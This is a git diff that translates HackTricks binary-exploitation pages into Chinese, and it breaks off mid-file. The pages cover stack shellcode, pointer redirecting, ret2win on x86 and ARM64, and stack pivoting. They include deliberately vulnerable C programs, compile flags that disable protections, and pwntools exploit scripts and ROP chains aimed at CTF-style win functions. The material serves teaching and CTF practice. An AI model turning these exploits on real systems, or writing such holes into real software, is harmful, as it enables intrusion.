{{#endref}}
-### Stack Shellcode
+### 栈 Shellcode
-In this scenario the attacker could place a shellcode in the stack and abuse the controlled EIP/RIP to jump to the shellcode and execute arbitrary code:
+在这种情况下,攻击者可以在栈中放置一个 shellcode,并利用受控的 EIP/RIP 跳转到 shellcode 并执行任意代码:
{{#ref}}
stack-shellcode/
{{#endref}}
-### ROP & Ret2... techniques
+### ROP & Ret2... 技术
-This technique is the fundamental framework to bypass the main protection to the previous technique: **No executable stack (NX)**. And it allows to perform several other techniques (ret2lib, ret2syscall...) that will end executing arbitrary commands by abusing existing instructions in the binary:
+该技术是绕过前一种技术的主要保护措施的基本框架:**不可执行栈 (NX)**。它允许执行其他几种技术(ret2lib,ret2syscall...),最终通过滥用二进制中的现有指令执行任意命令:
{{#ref}}
../rop-return-oriented-programing/
{{#endref}}
-## Heap Overflows
+## 堆溢出
-An overflow is not always going to be in the stack, it could also be in the **heap** for example:
+溢出不总是在栈中,它也可能发生在**堆**中,例如:
{{#ref}}
../libc-heap/heap-overflow.md
{{#endref}}
-## Types of protections
+## 保护类型
-There are several protections trying to prevent the exploitation of vulnerabilities, check them in:
+有几种保护措施试图防止漏洞的利用,请查看它们:
{{#ref}}
../common-binary-protections-and-bypasses/
diff --git a/src/binary-exploitation/stack-overflow/pointer-redirecting.md b/src/binary-exploitation/stack-overflow/pointer-redirecting.md
index f92bebd28..72c804bda 100644
--- a/src/binary-exploitation/stack-overflow/pointer-redirecting.md
+++ b/src/binary-exploitation/stack-overflow/pointer-redirecting.md
@@ -1,28 +1,28 @@
-# Pointer Redirecting
+# 指针重定向
{{#include ../../banners/hacktricks-training.md}}
-## String pointers
+## 字符串指针
-If a function call is going to use an address of a string that is located in the stack, it's possible to abuse the buffer overflow to **overwrite this address** and put an **address to a different string** inside the binary.
+如果一个函数调用将使用位于栈中的字符串地址,可以利用缓冲区溢出来**覆盖这个地址**并在二进制文件中放入**指向不同字符串的地址**。
-If for example a **`system`** function call is going to **use the address of a string to execute a command**, an attacker could place the **address of a different string in the stack**, **`export PATH=.:$PATH`** and create in the current directory an **script with the name of the first letter of the new string** as this will be executed by the binary.
+例如,如果一个**`system`**函数调用将**使用字符串的地址来执行命令**,攻击者可以在栈中放置**指向不同字符串的地址**,**`export PATH=.:$PATH`**,并在当前目录中创建一个**以新字符串的首字母命名的脚本**,因为这个脚本将由二进制文件执行。
-You can find an **example** of this in:
+你可以在以下位置找到一个**示例**:
- [https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/strptr.c](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/strptr.c)
- [https://guyinatuxedo.github.io/04-bof_variable/tw17_justdoit/index.html](https://guyinatuxedo.github.io/04-bof_variable/tw17_justdoit/index.html)
- - 32bit, change address to flags string in the stack so it's printed by `puts`
+- 32位,改变栈中指向标志字符串的地址,以便通过`puts`打印
-## Function pointers
+## 函数指针
-Same as string pointer but applying to functions, if the **stack contains the address of a function** that will be called, it's possible to **change it** (e.g. to call **`system`**).
+与字符串指针相同,但应用于函数,如果**栈中包含将被调用的函数的地址**,则可以**更改它**(例如,调用**`system`**)。
-You can find an example in:
+你可以在以下位置找到一个示例:
- [https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/funcptr.c](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/funcptr.c)
-## References
+## 参考
- [https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#pointer-redirecting](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#pointer-redirecting)
diff --git a/src/binary-exploitation/stack-overflow/ret2win/README.md b/src/binary-exploitation/stack-overflow/ret2win/README.md
index 0cad69c6d..30f6dd8f1 100644
--- a/src/binary-exploitation/stack-overflow/ret2win/README.md
+++ b/src/binary-exploitation/stack-overflow/ret2win/README.md
@@ -2,49 +2,44 @@
{{#include ../../../banners/hacktricks-training.md}}
-## Basic Information
+## 基本信息
-**Ret2win** challenges are a popular category in **Capture The Flag (CTF)** competitions, particularly in tasks that involve **binary exploitation**. The goal is to exploit a vulnerability in a given binary to execute a specific, uninvoked function within the binary, often named something like `win`, `flag`, etc. This function, when executed, usually prints out a flag or a success message. The challenge typically involves overwriting the **return address** on the stack to divert execution flow to the desired function. Here's a more detailed explanation with examples:
+**Ret2win** 挑战是 **Capture The Flag (CTF)** 竞赛中一个受欢迎的类别,特别是在涉及 **binary exploitation** 的任务中。目标是利用给定二进制文件中的漏洞,执行二进制文件中一个特定的、未被调用的函数,通常命名为 `win`、`flag` 等。当这个函数被执行时,通常会打印出一个标志或成功消息。挑战通常涉及覆盖栈上的 **return address**,以将执行流转向所需的函数。以下是更详细的解释和示例:
-### C Example
-
-Consider a simple C program with a vulnerability and a `win` function that we intend to call:
+### C 示例
+考虑一个简单的 C 程序,其中存在一个漏洞和一个我们打算调用的 `win` 函数:
```c
#include
#include
void win() {
- printf("Congratulations! You've called the win function.\n");
+printf("Congratulations! You've called the win function.\n");
}
void vulnerable_function() {
- char buf[64];
- gets(buf); // This function is dangerous because it does not check the size of the input, leading to buffer overflow.
+char buf[64];
+gets(buf); // This function is dangerous because it does not check the size of the input, leading to buffer overflow.
}
int main() {
- vulnerable_function();
- return 0;
+vulnerable_function();
+return 0;
}
```
-
-To compile this program without stack protections and with **ASLR** disabled, you can use the following command:
-
+要在没有栈保护和禁用 **ASLR** 的情况下编译此程序,您可以使用以下命令:
```sh
gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
```
+- `-m32`: 将程序编译为32位二进制文件(这不是必需的,但在CTF挑战中很常见)。
+- `-fno-stack-protector`: 禁用对栈溢出的保护。
+- `-z execstack`: 允许在栈上执行代码。
+- `-no-pie`: 禁用位置无关可执行文件,以确保`win`函数的地址不变。
+- `-o vulnerable`: 将输出文件命名为`vulnerable`。
-- `-m32`: Compile the program as a 32-bit binary (this is optional but common in CTF challenges).
-- `-fno-stack-protector`: Disable protections against stack overflows.
-- `-z execstack`: Allow execution of code on the stack.
-- `-no-pie`: Disable Position Independent Executable to ensure that the address of the `win` function does not change.
-- `-o vulnerable`: Name the output file `vulnerable`.
-
-### Python Exploit using Pwntools
-
-For the exploit, we'll use **pwntools**, a powerful CTF framework for writing exploits. The exploit script will create a payload to overflow the buffer and overwrite the return address with the address of the `win` function.
+### 使用Pwntools的Python Exploit
+对于这个exploit,我们将使用**pwntools**,这是一个强大的CTF框架,用于编写exploit。该exploit脚本将创建一个有效负载,以溢出缓冲区并用`win`函数的地址覆盖返回地址。
```python
from pwn import *
@@ -64,49 +59,46 @@ payload = b'A' * 68 + win_addr
p.sendline(payload)
p.interactive()
```
-
-To find the address of the `win` function, you can use **gdb**, **objdump**, or any other tool that allows you to inspect binary files. For instance, with `objdump`, you could use:
-
+要找到 `win` 函数的地址,您可以使用 **gdb**、**objdump** 或任何其他允许您检查二进制文件的工具。例如,使用 `objdump`,您可以使用:
```sh
objdump -d vulnerable | grep win
```
+此命令将显示 `win` 函数的汇编代码,包括其起始地址。
-This command will show you the assembly of the `win` function, including its starting address.
+Python 脚本发送一个精心构造的消息,当 `vulnerable_function` 处理时,会溢出缓冲区并用 `win` 的地址覆盖栈上的返回地址。当 `vulnerable_function` 返回时,它不会返回到 `main` 或退出,而是跳转到 `win`,并打印消息。
-The Python script sends a carefully crafted message that, when processed by the `vulnerable_function`, overflows the buffer and overwrites the return address on the stack with the address of `win`. When `vulnerable_function` returns, instead of returning to `main` or exiting, it jumps to `win`, and the message is printed.
+## 保护措施
-## Protections
+- [**PIE**](../../common-binary-protections-and-bypasses/pie/) **应禁用**,以确保地址在执行之间是可靠的,否则函数存储的地址可能并不总是相同,您需要一些泄漏信息来确定 `win` 函数加载的位置。在某些情况下,当导致溢出的函数是 `read` 或类似函数时,您可以进行 **部分覆盖** 1 或 2 字节,以将返回地址更改为 `win` 函数。由于 ASLR 的工作原理,最后三个十六进制半字节不会随机化,因此有 **1/16 的机会**(1 个半字节)获得正确的返回地址。
+- [**栈金丝雀**](../../common-binary-protections-and-bypasses/stack-canaries/) 也应禁用,否则被破坏的 EIP 返回地址将永远不会被跟随。
-- [**PIE**](../../common-binary-protections-and-bypasses/pie/) **should be disabled** for the address to be reliable across executions or the address where the function will be stored won't be always the same and you would need some leak in order to figure out where is the win function loaded. In some cases, when the function that causes the overflow is `read` or similar, you can do a **Partial Overwrite** of 1 or 2 bytes to change the return address to be the win function. Because of how ASLR works, the last three hex nibbles are not randomized, so there is a **1/16 chance** (1 nibble) to get the correct return address.
-- [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/) should be also disabled or the compromised EIP return address won't never be followed.
-
-## Other examples & References
+## 其他示例与参考
- [https://ir0nstone.gitbook.io/notes/types/stack/ret2win](https://ir0nstone.gitbook.io/notes/types/stack/ret2win)
- [https://guyinatuxedo.github.io/04-bof_variable/tamu19_pwn1/index.html](https://guyinatuxedo.github.io/04-bof_variable/tamu19_pwn1/index.html)
- - 32bit, no ASLR
+- 32位,无 ASLR
- [https://guyinatuxedo.github.io/05-bof_callfunction/csaw16_warmup/index.html](https://guyinatuxedo.github.io/05-bof_callfunction/csaw16_warmup/index.html)
- - 64 bits with ASLR, with a leak of the bin address
+- 64 位,带 ASLR,带有二进制地址泄漏
- [https://guyinatuxedo.github.io/05-bof_callfunction/csaw18_getit/index.html](https://guyinatuxedo.github.io/05-bof_callfunction/csaw18_getit/index.html)
- - 64 bits, no ASLR
+- 64 位,无 ASLR
- [https://guyinatuxedo.github.io/05-bof_callfunction/tu17_vulnchat/index.html](https://guyinatuxedo.github.io/05-bof_callfunction/tu17_vulnchat/index.html)
- - 32 bits, no ASLR, double small overflow, first to overflow the stack and enlarge the size of the second overflow
+- 32 位,无 ASLR,双小溢出,第一次溢出栈并增大第二次溢出的大小
- [https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html)
- - 32 bit, relro, no canary, nx, no pie, format string to overwrite the address `fflush` with the win function (ret2win)
+- 32 位,relro,无金丝雀,nx,无 pie,格式字符串覆盖地址 `fflush` 为 `win` 函数(ret2win)
- [https://guyinatuxedo.github.io/15-partial_overwrite/tamu19_pwn2/index.html](https://guyinatuxedo.github.io/15-partial_overwrite/tamu19_pwn2/index.html)
- - 32 bit, nx, nothing else, partial overwrite of EIP (1Byte) to call the win function
+- 32 位,nx,其他无,部分覆盖 EIP(1Byte)以调用 `win` 函数
- [https://guyinatuxedo.github.io/15-partial_overwrite/tuctf17_vulnchat2/index.html](https://guyinatuxedo.github.io/15-partial_overwrite/tuctf17_vulnchat2/index.html)
- - 32 bit, nx, nothing else, partial overwrite of EIP (1Byte) to call the win function
+- 32 位,nx,其他无,部分覆盖 EIP(1Byte)以调用 `win` 函数
- [https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html](https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html)
- - The program is only validating the last byte of a number to check for the size of the input, therefore it's possible to add any zie as long as the last byte is inside the allowed range. Then, the input creates a buffer overflow exploited with a ret2win.
+- 该程序仅验证数字的最后一个字节以检查输入的大小,因此只要最后一个字节在允许范围内,就可以添加任何大小。然后,输入创建一个缓冲区溢出,通过 ret2win 进行利用。
- [https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/](https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/)
- - 64 bit, relro, no canary, nx, pie. Partial overwrite to call the win function (ret2win)
+- 64 位,relro,无金丝雀,nx,pie。部分覆盖以调用 `win` 函数(ret2win)
- [https://8ksec.io/arm64-reversing-and-exploitation-part-3-a-simple-rop-chain/](https://8ksec.io/arm64-reversing-and-exploitation-part-3-a-simple-rop-chain/)
- - arm64, PIE, it gives a PIE leak the win function is actually 2 functions so ROP gadget that calls 2 functions
+- arm64,PIE,给出一个 PIE 泄漏,`win` 函数实际上是两个函数,因此 ROP gadget 调用两个函数
- [https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/)
- - ARM64, off-by-one to call a win function
+- ARM64,越界调用 `win` 函数
-## ARM64 Example
+## ARM64 示例
{{#ref}}
ret2win-arm64.md
diff --git a/src/binary-exploitation/stack-overflow/ret2win/ret2win-arm64.md b/src/binary-exploitation/stack-overflow/ret2win/ret2win-arm64.md
index 410cf5cf0..a02f3dfae 100644
--- a/src/binary-exploitation/stack-overflow/ret2win/ret2win-arm64.md
+++ b/src/binary-exploitation/stack-overflow/ret2win/ret2win-arm64.md
@@ -2,109 +2,94 @@
{{#include ../../../banners/hacktricks-training.md}}
-Find an introduction to arm64 in:
+在以下内容中找到 arm64 的介绍:
{{#ref}}
../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md
{{#endref}}
-## Code
-
+## 代码
```c
#include
#include
void win() {
- printf("Congratulations!\n");
+printf("Congratulations!\n");
}
void vulnerable_function() {
- char buffer[64];
- read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability
+char buffer[64];
+read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability
}
int main() {
- vulnerable_function();
- return 0;
+vulnerable_function();
+return 0;
}
```
-
-Compile without pie and canary:
-
+在没有PIE和canary的情况下编译:
```bash
clang -o ret2win ret2win.c -fno-stack-protector -Wno-format-security -no-pie
```
+## 寻找偏移量
-## Finding the offset
+### 模式选项
-### Pattern option
-
-This example was created using [**GEF**](https://github.com/bata24/gef):
-
-Stat gdb with gef, create pattern and use it:
+此示例是使用 [**GEF**](https://github.com/bata24/gef) 创建的:
+使用 gef 启动 gdb,创建模式并使用它:
```bash
gdb -q ./ret2win
pattern create 200
run
```
-
-arm64 will try to return to the address in the register x30 (which was compromised), we can use that to find the pattern offset:
-
+arm64 将尝试返回到寄存器 x30 中的地址(该地址已被破坏),我们可以利用这一点来找到模式偏移:
```bash
pattern search $x30
```
-
-**The offset is 72 (9x48).**
+**偏移量是 72 (9x48)。**
-### Stack offset option
-
-Start by getting the stack address where the pc register is stored:
+### 堆栈偏移选项
+首先获取存储 pc 寄存器的堆栈地址:
```bash
gdb -q ./ret2win
b *vulnerable_function + 0xc
run
info frame
```
-
-Now set a breakpoint after the `read()` and continue until the `read()` is executed and set a pattern such as 13371337:
-
+现在在 `read()` 之后设置一个断点,并继续执行直到 `read()` 被执行,并设置一个模式,例如 13371337:
```
b *vulnerable_function+28
c
```
-
-Find where this pattern is stored in memory:
+找到这个模式在内存中的存储位置:
-Then: **`0xfffffffff148 - 0xfffffffff100 = 0x48 = 72`**
+然后: **`0xfffffffff148 - 0xfffffffff100 = 0x48 = 72`**
-## No PIE
+## 无PIE
-### Regular
-
-Get the address of the **`win`** function:
+### 常规
+获取 **`win`** 函数的地址:
```bash
objdump -d ret2win | grep win
ret2win: file format elf64-littleaarch64
00000000004006c4 :
```
-
-Exploit:
-
+利用:
```python
from pwn import *
@@ -124,13 +109,11 @@ p.send(payload)
print(p.recvline())
p.close()
```
-
### Off-by-1
-Actually this is going to by more like a off-by-2 in the stored PC in the stack. Instead of overwriting all the return address we are going to overwrite **only the last 2 bytes** with `0x06c4`.
-
+实际上,这更像是在栈中存储的 PC 的 off-by-2。我们将只用 `0x06c4` 覆盖 **最后 2 个字节**,而不是覆盖所有的返回地址。
```python
from pwn import *
@@ -150,22 +133,20 @@ p.send(payload)
print(p.recvline())
p.close()
```
-
-You can find another off-by-one example in ARM64 in [https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/), which is a real off-by-**one** in a fictitious vulnerability.
+您可以在 ARM64 中找到另一个 off-by-one 示例,链接为 [https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/),这是一个虚构漏洞中的真实 off-by-**one**。
-## With PIE
+## 使用 PIE
> [!TIP]
-> Compile the binary **without the `-no-pie` argument**
+> 编译二进制文件 **时不要使用 `-no-pie` 参数**
### Off-by-2
-Without a leak we don't know the exact address of the winning function but we can know the offset of the function from the binary and knowing that the return address we are overwriting is already pointing to a close address, it's possible to leak the offset to the win function (**0x7d4**) in this case and just use that offset:
+在没有泄漏的情况下,我们不知道获胜函数的确切地址,但我们可以知道该函数相对于二进制文件的偏移量,并且知道我们正在覆盖的返回地址已经指向一个接近的地址,因此可以泄漏到 win 函数的偏移量 (**0x7d4**) 并仅使用该偏移量:
-
```python
from pwn import *
@@ -185,5 +166,4 @@ p.send(payload)
print(p.recvline())
p.close()
```
-
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md b/src/binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md
index a786dea8e..2650f326e 100644
--- a/src/binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md
+++ b/src/binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md
@@ -2,64 +2,61 @@
{{#include ../../banners/hacktricks-training.md}}
-## Basic Information
+## 基本信息
-This technique exploits the ability to manipulate the **Base Pointer (EBP)** to chain the execution of multiple functions through careful use of the EBP register and the **`leave; ret`** instruction sequence.
-
-As a reminder, **`leave`** basically means:
+此技术利用操纵 **基指针 (EBP)** 的能力,通过仔细使用 EBP 寄存器和 **`leave; ret`** 指令序列来链接多个函数的执行。
+作为提醒,**`leave`** 基本上意味着:
```
mov ebp, esp
pop ebp
ret
```
-
-And as the **EBP is in the stack** before the EIP it's possible to control it controlling the stack.
+由于**EBP在栈中**位于EIP之前,因此可以通过控制栈来控制它。
### EBP2Ret
-This technique is particularly useful when you can **alter the EBP register but have no direct way to change the EIP register**. It leverages the behaviour of functions when they finish executing.
+当你可以**更改EBP寄存器但没有直接方法更改EIP寄存器**时,这种技术特别有用。它利用了函数执行完毕后的行为。
-If, during `fvuln`'s execution, you manage to inject a **fake EBP** in the stack that points to an area in memory where your shellcode's address is located (plus 4 bytes to account for the `pop` operation), you can indirectly control the EIP. As `fvuln` returns, the ESP is set to this crafted location, and the subsequent `pop` operation decreases ESP by 4, **effectively making it point to an address store by the attacker in there.**\
-Note how you **need to know 2 addresses**: The one where ESP is going to go, where you will need to write the address that is pointed by ESP.
+如果在`fvuln`执行期间,你设法在栈中注入一个**假EBP**,指向内存中你的shellcode地址所在的区域(加上4个字节以考虑`pop`操作),你可以间接控制EIP。当`fvuln`返回时,ESP被设置为这个构造的位置,随后的`pop`操作将ESP减少4,**有效地使其指向攻击者在其中存储的地址。**\
+注意你**需要知道2个地址**:ESP将要去的地址,以及你需要在其中写入的地址。
#### Exploit Construction
-First you need to know an **address where you can write arbitrary data / addresses**. The ESP will point here and **run the first `ret`**.
+首先,你需要知道一个**可以写入任意数据/地址的地址**。ESP将指向这里并**运行第一个`ret`**。
-Then, you need to know the address used by `ret` that will **execute arbitrary code**. You could use:
+然后,你需要知道`ret`使用的地址,该地址将**执行任意代码**。你可以使用:
-- A valid [**ONE_GADGET**](https://github.com/david942j/one_gadget) address.
-- The address of **`system()`** followed by **4 junk bytes** and the address of `"/bin/sh"` (x86 bits).
-- The address of a **`jump esp;`** gadget ([**ret2esp**](../rop-return-oriented-programing/ret2esp-ret2reg.md)) followed by the **shellcode** to execute.
-- Some [**ROP**](../rop-return-oriented-programing/) chain
+- 一个有效的[**ONE_GADGET**](https://github.com/david942j/one_gadget)地址。
+- **`system()`**的地址,后面跟着**4个垃圾字节**和`"/bin/sh"`的地址(x86位)。
+- 一个**`jump esp;`** gadget的地址([**ret2esp**](../rop-return-oriented-programing/ret2esp-ret2reg.md)),后面跟着要执行的**shellcode**。
+- 一些[**ROP**](../rop-return-oriented-programing/)链
-Remember than before any of these addresses in the controlled part of the memory, there must be **`4` bytes** because of the **`pop`** part of the `leave` instruction. It would be possible to abuse these 4B to set a **second fake EBP** and continue controlling the execution.
+请记住,在受控内存的任何这些地址之前,必须有**`4`个字节**,因为**`pop`**部分的`leave`指令。可以利用这4个字节设置一个**第二个假EBP**,并继续控制执行。
#### Off-By-One Exploit
-There's a specific variant of this technique known as an "Off-By-One Exploit". It's used when you can **only modify the least significant byte of the EBP**. In such a case, the memory location storing the address to jumo to with the **`ret`** must share the first three bytes with the EBP, allowing for a similar manipulation with more constrained conditions.\
-Usually it's modified the byte 0x00t o jump as far as possible.
+这种技术有一个特定的变体,称为“Off-By-One Exploit”。当你**只能修改EBP的最低有效字节**时使用。在这种情况下,存储要跳转到的地址的内存位置必须与EBP共享前3个字节,从而允许在更受限的条件下进行类似的操作。\
+通常会修改字节0x00以尽可能远地跳转。
-Also, it's common to use a RET sled in the stack and put the real ROP chain at the end to make it more probably that the new ESP points inside the RET SLED and the final ROP chain is executed.
+此外,通常在栈中使用RET滑块,并将真实的ROP链放在末尾,以使新的ESP更有可能指向RET滑块内部,并执行最终的ROP链。
### **EBP Chaining**
-Therefore, putting a controlled address in the `EBP` entry of the stack and an address to `leave; ret` in `EIP`, it's possible to **move the `ESP` to the controlled `EBP` address from the stack**.
+因此,将一个受控地址放入栈的`EBP`条目中,并在`EIP`中放入一个`leave; ret`的地址,可以**将`ESP`移动到栈中的受控`EBP`地址**。
-Now, the **`ESP`** is controlled pointing to a desired address and the next instruction to execute is a `RET`. To abuse this, it's possible to place in the controlled ESP place this:
+现在,**`ESP`**被控制,指向所需地址,下一条要执行的指令是`RET`。为了利用这一点,可以在受控ESP位置放置以下内容:
-- **`&(next fake EBP)`** -> Load the new EBP because of `pop ebp` from the `leave` instruction
-- **`system()`** -> Called by `ret`
-- **`&(leave;ret)`** -> Called after system ends, it will move ESP to the fake EBP and start agin
-- **`&("/bin/sh")`**-> Param fro `system`
+- **`&(next fake EBP)`** -> 由于`leave`指令中的`pop ebp`加载新的EBP
+- **`system()`** -> 由`ret`调用
+- **`&(leave;ret)`** -> 在system结束后调用,它将ESP移动到假EBP并重新开始
+- **`&("/bin/sh")`**-> `system`的参数
-Basically this way it's possible to chain several fake EBPs to control the flow of the program.
+基本上,这种方式可以链接多个假EBP以控制程序的流程。
-This is like a [ret2lib](../rop-return-oriented-programing/ret2lib/), but more complex with no apparent benefit but could be interesting in some edge-cases.
-
-Moreover, here you have an [**example of a challenge**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave) that uses this technique with a **stack leak** to call a winning function. This is the final payload from the page:
+这类似于[ret2lib](../rop-return-oriented-programing/ret2lib/),但更复杂,没有明显的好处,但在某些边缘情况下可能会很有趣。
+此外,这里有一个[**挑战示例**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave),使用这种技术与**栈泄漏**调用一个成功的函数。这是页面的最终有效载荷:
```python
from pwn import *
@@ -75,34 +72,32 @@ POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229
payload = flat(
- 0x0, # rbp (could be the address of anoter fake RBP)
- POP_RDI,
- 0xdeadbeef,
- POP_RSI_R15,
- 0xdeadc0de,
- 0x0,
- elf.sym['winner']
+0x0, # rbp (could be the address of anoter fake RBP)
+POP_RDI,
+0xdeadbeef,
+POP_RSI_R15,
+0xdeadc0de,
+0x0,
+elf.sym['winner']
)
payload = payload.ljust(96, b'A') # pad to 96 (just get to RBP)
payload += flat(
- buffer, # Load leak address in RBP
- LEAVE_RET # Use leave ro move RSP to the user ROP chain and ret to execute it
+buffer, # Load leak address in RBP
+LEAVE_RET # Use leave ro move RSP to the user ROP chain and ret to execute it
)
pause()
p.sendline(payload)
print(p.recvline())
```
+## EBP 可能未被使用
-## EBP might not be used
-
-As [**explained in this post**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#off-by-one-1), if a binary is compiled with some optimizations, the **EBP never gets to control ESP**, therefore, any exploit working by controlling EBP sill basically fail because it doesn't have ay real effect.\
-This is because the **prologue and epilogue changes** if the binary is optimized.
-
-- **Not optimized:**
+如[**在此帖子中解释的**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#off-by-one-1),如果一个二进制文件是使用某些优化编译的,**EBP 永远无法控制 ESP**,因此,任何通过控制 EBP 的漏洞利用基本上都会失败,因为它没有任何实际效果。\
+这是因为如果二进制文件经过优化,**前言和尾声会发生变化**。
+- **未优化:**
```bash
push %ebp # save ebp
mov %esp,%ebp # set new ebp
@@ -113,9 +108,7 @@ sub $0x100,%esp # increase stack size
leave # restore ebp (leave == mov %ebp, %esp; pop %ebp)
ret # return
```
-
-- **Optimized:**
-
+- **优化:**
```bash
push %ebx # save ebx
sub $0x100,%esp # increase stack size
@@ -126,13 +119,11 @@ add $0x10c,%esp # reduce stack size
pop %ebx # restore ebx
ret # return
```
-
-## Other ways to control RSP
+## 其他控制 RSP 的方法
### **`pop rsp`** gadget
-[**In this page**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp) you can find an example using this technique. For this challenge it was needed to call a function with 2 specific arguments, and there was a **`pop rsp` gadget** and there is a **leak from the stack**:
-
+[**在此页面**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp) 你可以找到使用此技术的示例。对于这个挑战,需要调用一个带有两个特定参数的函数,并且有一个 **`pop rsp` gadget** 和一个 **来自栈的泄漏**:
```python
# Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp
# This version has added comments
@@ -152,15 +143,15 @@ POP_RSI_R15 = 0x401229 # pop RSI and R15
# The payload starts
payload = flat(
- 0, # r13
- 0, # r14
- 0, # r15
- POP_RDI,
- 0xdeadbeef,
- POP_RSI_R15,
- 0xdeadc0de,
- 0x0, # r15
- elf.sym['winner']
+0, # r13
+0, # r14
+0, # r15
+POP_RDI,
+0xdeadbeef,
+POP_RSI_R15,
+0xdeadc0de,
+0x0, # r15
+elf.sym['winner']
)
payload = payload.ljust(104, b'A') # pad to 104
@@ -168,66 +159,63 @@ payload = payload.ljust(104, b'A') # pad to 104
# Start popping RSP, this moves the stack to the leaked address and
# continues the ROP chain in the prepared payload
payload += flat(
- POP_CHAIN,
- buffer # rsp
+POP_CHAIN,
+buffer # rsp
)
pause()
p.sendline(payload)
print(p.recvline())
```
-
### xchg \, rsp gadget
-
```
pop <=== return pointer
xchg , rsp
```
-
### jmp esp
-Check the ret2esp technique here:
+查看 ret2esp 技术:
{{#ref}}
../rop-return-oriented-programing/ret2esp-ret2reg.md
{{#endref}}
-## References & Other Examples
+## 参考文献与其他示例
- [https://bananamafia.dev/post/binary-rop-stackpivot/](https://bananamafia.dev/post/binary-rop-stackpivot/)
- [https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting)
- [https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html](https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html)
- - 64 bits, off by one exploitation with a rop chain starting with a ret sled
+- 64 位,越界利用,使用以 ret sled 开头的 rop 链
- [https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html](https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html)
- - 64 bit, no relro, canary, nx and pie. The program grants a leak for stack or pie and a WWW of a qword. First get the stack leak and use the WWW to go back and get the pie leak. Then use the WWW to create an eternal loop abusing `.fini_array` entries + calling `__libc_csu_fini` ([more info here](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md)). Abusing this "eternal" write, it's written a ROP chain in the .bss and end up calling it pivoting with RBP.
+- 64 位,无 relro、canary、nx 和 pie。该程序允许泄漏堆栈或 pie 以及一个 qword 的 WWW。首先获取堆栈泄漏,然后使用 WWW 返回获取 pie 泄漏。然后使用 WWW 创建一个利用 `.fini_array` 条目 + 调用 `__libc_csu_fini` 的永恒循环([更多信息在这里](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md))。利用这个“永恒”写入,在 .bss 中写入一个 ROP 链并最终调用它,通过 RBP 进行 pivoting。
## ARM64
-In ARM64, the **prologue and epilogues** of the functions **don't store and retrieve the SP registry** in the stack. Moreover, the **`RET`** instruction don't return to the address pointed by SP, but **to the address inside `x30`**.
+在 ARM64 中,**函数的前言和尾声** **不在堆栈中存储和检索 SP 寄存器**。此外,**`RET`** 指令不会返回到 SP 指向的地址,而是 **返回到 `x30` 内的地址**。
-Therefore, by default, just abusing the epilogue you **won't be able to control the SP registry** by overwriting some data inside the stack. And even if you manage to control the SP you would still need a way to **control the `x30`** register.
+因此,默认情况下,仅仅利用尾声你 **无法通过覆盖堆栈中的某些数据来控制 SP 寄存器**。即使你设法控制了 SP,你仍然需要一种方法来 **控制 `x30`** 寄存器。
-- prologue
+- 前言
- ```armasm
- sub sp, sp, 16
- stp x29, x30, [sp] // [sp] = x29; [sp + 8] = x30
- mov x29, sp // FP points to frame record
- ```
+```armasm
+sub sp, sp, 16
+stp x29, x30, [sp] // [sp] = x29; [sp + 8] = x30
+mov x29, sp // FP 指向帧记录
+```
-- epilogue
+- 尾声
- ```armasm
